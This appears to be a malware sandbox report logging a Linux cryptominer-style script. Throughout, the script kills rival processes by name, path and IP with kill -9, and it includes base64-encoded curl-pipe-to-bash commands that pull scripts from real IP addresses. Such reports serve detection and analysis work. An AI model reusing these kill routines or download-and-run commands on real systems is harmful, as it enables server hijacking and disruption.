-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1088
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1097
-
-
/bin/grepgrep http_0xCC0312⤵PID:1096
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1095
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1094
-
-
/bin/grepgrep http_0xCC0322⤵PID:1104
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1105
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1103
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1102
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1112
-
-
/bin/grepgrep http_0xCC0332⤵PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1113
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1121
-
-
/bin/grepgrep C4iLM4L2⤵PID:1120
-
-
/bin/grepgrep -v grep2⤵PID:1119
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1122
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1125
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1124
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1133
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1132
-
-
/bin/grepgrep -v grep2⤵PID:1131
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1130
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1140
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1139
-
-
/bin/grepgrep -v grep2⤵PID:1138
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1141
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1137
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1145
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1144
-
-
/bin/grepgrep -v grep2⤵PID:1143
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1146
-
-
/bin/psps aux2⤵PID:1142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1151
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1150
-
-
/bin/grepgrep -v grep2⤵PID:1149
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1152
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1156
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1157
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1153
-
-
/bin/grepgrep nqscheduler2⤵PID:1161
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1162
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1163
-
-
/bin/grepgrep -v grep2⤵PID:1160
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1159
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/bin/grepgrep "]"2⤵PID:1172
-
-
/bin/grepgrep -v aux2⤵PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1170
-
-
/bin/psps aux2⤵PID:1169
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1174
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1178
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1176
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1175
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1179
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1183
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1182
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1180
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1189
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1187
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1185
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/bin/grepgrep -v -2⤵PID:1193
-
-
/bin/grepgrep -v /2⤵PID:1192
-
-
/bin/grepgrep -v grep2⤵PID:1191
-
-
/bin/grepgrep -v _2⤵PID:1194
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1190
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1196
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1200
-
-
/bin/grepgrep -v grep2⤵PID:1198
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1197
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
-
/bin/grepgrep "\\[^"2⤵PID:1199
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1202
-
-
/bin/grepgrep -v grep2⤵PID:1203
-
-
/bin/grepgrep rsync2⤵PID:1204
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1205
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1206
-
-
/bin/grepgrep watchd0g2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1210
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1211
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1207
-
-
/bin/grepgrep -v grep2⤵PID:1213
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1212
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1214
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1219
-
-
/bin/grepgrep -v grep2⤵PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1221
-
-
/bin/grepgrep /tmp/java2⤵PID:1224
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1225
-
-
/bin/grepgrep -v grep2⤵PID:1223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1226
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1222
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1230
-
-
/bin/grepgrep gitee.com2⤵PID:1229
-
-
/bin/grepgrep -v grep2⤵PID:1228
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1231
-
-
/bin/psps aux2⤵PID:1227
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1235
-
-
/bin/grepgrep /tmp/java2⤵PID:1234
-
-
/bin/grepgrep -v grep2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1236
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1232
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1240
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1239
-
-
/bin/grepgrep -v grep2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1241
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1237
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1245
-
-
/bin/grepgrep 89.35.39.782⤵PID:1244
-
-
/bin/grepgrep -v grep2⤵PID:1243
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1242
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1246
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1250
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1249
-
-
/bin/grepgrep -v grep2⤵PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1251
-
-
/bin/psps aux2⤵PID:1247
-
-
/bin/grepgrep kthrotlds2⤵PID:1254
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
-
/bin/grepgrep ksoftirqds2⤵PID:1259
-
-
/bin/grepgrep -v grep2⤵PID:1258
-
-
/bin/psps aux2⤵PID:1257
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1261
-
-
/bin/grepgrep netdns2⤵PID:1264
-
-
/bin/grepgrep -v grep2⤵PID:1263
-
-
/bin/psps aux2⤵PID:1262
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1265
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1266
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1271
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1267
-
-
/bin/grepgrep watchdogs2⤵PID:1269
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1270
-
-
/bin/grepgrep -v grep2⤵PID:1268
-
-
/bin/grepgrep -v root2⤵PID:1274
-
-
/bin/grepgrep -v grep2⤵PID:1273
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1272
-
-
/bin/grepgrep -v dblaunch2⤵PID:1275
-
-
/bin/grepgrep -v dblaunchs2⤵PID:1276
-
-
/bin/grepgrep -v dblaunched2⤵PID:1277
-
-
/bin/grepgrep -v apache22⤵PID:1278
-
-
/bin/grepgrep -v atd2⤵PID:1279
-
-
/bin/grepgrep -v kdevtmpfsi2⤵PID:1280
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:1281
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1282
-
-
/bin/grepgrep -v grep2⤵PID:1284
-
-
/bin/grepgrep -v aux2⤵PID:1285
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1283
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1287
-
-
/bin/grepgrep " ps"2⤵PID:1286
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1288
-
-
/bin/grepgrep sync_supers2⤵PID:1292
-
-
/bin/grepgrep -v grep2⤵PID:1291
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1290
-
-
/usr/bin/cutcut -c 9-152⤵PID:1293
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1294
-
-
/usr/bin/cutcut -c 9-152⤵PID:1300
-
-
/bin/grepgrep cpuset2⤵PID:1299
-
-
/bin/grepgrep -v grep2⤵PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1301
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/grepgrep "x]"2⤵PID:1305
-
-
/bin/grepgrep -v aux2⤵PID:1304
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1306
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1302
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1307
-
-
/bin/grepgrep -v aux2⤵PID:1312
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1310
-
-
/bin/grepgrep "sh] <"2⤵PID:1313
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1314
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1315
-
-
/bin/grepgrep -v grep2⤵PID:1311
-
-
/bin/grepgrep -v aux2⤵PID:1319
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1321
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1322
-
-
/bin/grepgrep " \\[]"2⤵PID:1320
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1326
-
-
/bin/grepgrep -v grep2⤵PID:1325
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1324
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1327
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1328
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1333
-
-
/bin/grepgrep -v grep2⤵PID:1332
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1331
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1334
-
-
/bin/grepgrep hahwNEdB2⤵PID:1339
-
-
/bin/grepgrep -v grep2⤵PID:1338
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1337
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1341
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1340
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1346
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1345
-
-
/bin/grepgrep -v grep2⤵PID:1344
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1347
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1343
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1353
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1352
-
-
/bin/grepgrep -v grep2⤵PID:1351
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1354
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1350
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1359
-
-
/bin/grepgrep -v grep2⤵PID:1358
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1357
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1360
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1361
-
-
/bin/grepgrep -v grep2⤵PID:1363
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1364
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1362
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1365
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1366
-
-
/bin/grepgrep -v grep2⤵PID:1370
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1369
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1371
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1372
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1373
-
-
/bin/psps aux2⤵PID:1375
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1378
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1384
-
-
/bin/grepgrep sustse2⤵PID:1383
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1385
-
-
/bin/psps aux2⤵PID:1381
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1391
-
-
/bin/grepgrep sustse32⤵PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1389
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1392
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1388
-
-
/bin/grepgrep wget2⤵PID:1397
-
-
/bin/grepgrep mr.sh2⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1395
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1399
-
-
/bin/psps aux2⤵PID:1394
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1400
-
-
/bin/grepgrep mr.sh2⤵PID:1403
-
-
/bin/grepgrep curl2⤵PID:1404
-
-
/bin/grepgrep -v grep2⤵PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1405
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1406
-
-
/bin/grepgrep wget2⤵PID:1412
-
-
/bin/grepgrep 2mr.sh2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1410
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1409
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1413
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1414
-
-
/bin/grepgrep curl2⤵PID:1420
-
-
/bin/grepgrep 2mr.sh2⤵PID:1419
-
-
/bin/grepgrep -v grep2⤵PID:1418
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1421
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1417
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1422
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD5727479ef7cedf30c03459bec7d87b0f0
SHA12082e7f715f058acab2398d25d135cf5f4c0ce41
SHA25629872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA5124cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba